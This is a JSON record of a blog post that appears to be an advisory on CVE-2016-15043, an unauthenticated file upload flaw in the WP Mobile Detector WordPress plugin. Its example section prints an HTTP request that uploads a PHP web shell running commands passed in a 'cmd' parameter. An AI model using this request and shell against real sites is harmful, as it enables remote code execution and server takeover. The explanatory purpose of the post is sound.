{"id":59628,"date":"2025-07-25T07:09:51","date_gmt":"2025-07-25T07:09:51","guid":{"rendered":""},"modified":"2025-08-31T11:54:29","modified_gmt":"2025-08-31T17:54:29","slug":"cve-2016-15043-wp-mobile-detector-plugin-for-wordpress-arbitrary-file-upload-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2016-15043-wp-mobile-detector-plugin-for-wordpress-arbitrary-file-upload-vulnerability\/","title":{"rendered":"<strong>CVE-2016-15043: WP Mobile Detector Plugin for WordPress Arbitrary File Upload Vulnerability<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2016-15043 is a high-severity vulnerability that particularly affects the WP Mobile Detector plugin for WordPress. This vulnerability is due to the lack of file type validation in the resize.php file in versions up to and including 3.5. Given the popularity of WordPress as a content <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41530-critical-sql-injection-vulnerability-in-hospital-management-system-v4\/\"  data-wpil-monitor-id=\"75935\">management system<\/a> (CMS), a large number of websites could potentially be affected. This vulnerability matters because it potentially allows unauthenticated attackers to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28946-php-remote-file-inclusion-vulnerability-in-bzotheme-printxtore\/\"  data-wpil-monitor-id=\"66183\">upload arbitrary<\/a> files to the server of the affected site, potentially enabling remote code execution.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2016-15043<br \/>\nSeverity: Critical (9.8 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: The exploitation of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8060-critical-vulnerability-in-tenda-ac23-leading-to-stack-based-buffer-overflow\/\"  data-wpil-monitor-id=\"67908\">vulnerability could lead<\/a> to system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1491390909\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WP Mobile Detector <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5835-droip-plugin-for-wordpress-unauthorized-access-and-modification-vulnerability\/\"  data-wpil-monitor-id=\"68934\">plugin for WordPress<\/a> | Up to and including 3.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7401-critical-file-read-write-vulnerability-in-premium-age-verification-restriction-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"66518\">vulnerability exists due to improper file<\/a> type validation in the resize.php file of the WP Mobile Detector plugin. An <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"75936\">attacker can exploit<\/a> this vulnerability by sending specially crafted HTTP requests. This would allow the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7340-critical-arbitrary-file-upload-vulnerability-in-ht-contact-form-widget-for-wordpress\/\"  data-wpil-monitor-id=\"66359\">upload arbitrary files<\/a> to the server of the affected site, potentially enabling remote code execution. Given that no <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7692-authentication-bypass-vulnerability-in-orion-login-with-sms-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"69979\">authentication is required to exploit this vulnerability<\/a>, any unauthenticated attacker could potentially compromise the system or cause data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-635487709\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability could be exploited. This example demonstrates a HTTP request where an attacker <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6058-critical-arbitrary-file-upload-vulnerability-in-wpbookit-wordpress-plugin\/\"  data-wpil-monitor-id=\"66470\">uploads a malicious file<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/wp-mobile-detector\/resize.php HTTP\/1.1\nHost: vulnerable-wordpress-site.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary1234\n------WebKitFormBoundary1234\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php\n\/\/ malicious payload\nsystem($_GET[&#039;cmd&#039;]);\n?&gt;\n------WebKitFormBoundary1234--<\/code><\/pre>\n<p>In the above example, the attacker sends a POST request to the resize.php script with a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54689-high-risk-php-remote-file-inclusion-vulnerability-in-urna\/\"  data-wpil-monitor-id=\"76663\">PHP file<\/a>. Once uploaded, the attacker can execute <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40738-critical-arbitrary-file-write-vulnerability-in-sinec-nms\/\"  data-wpil-monitor-id=\"66561\">arbitrary commands on the server by simply accessing the uploaded<\/a> file with an appropriate `cmd` parameter.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2016-15043 is a high-severity vulnerability that particularly affects the WP Mobile Detector plugin for WordPress. This vulnerability is due to the lack of file type validation in the resize.php file in versions up to and including 3.5. Given the popularity of WordPress as a content management system (CMS), a large number of websites [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59628","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59628"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59628\/revisions"}],"predecessor-version":[{"id":69093,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59628\/revisions\/69093"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59628"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59628"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59628"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59628"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59628"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59628"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}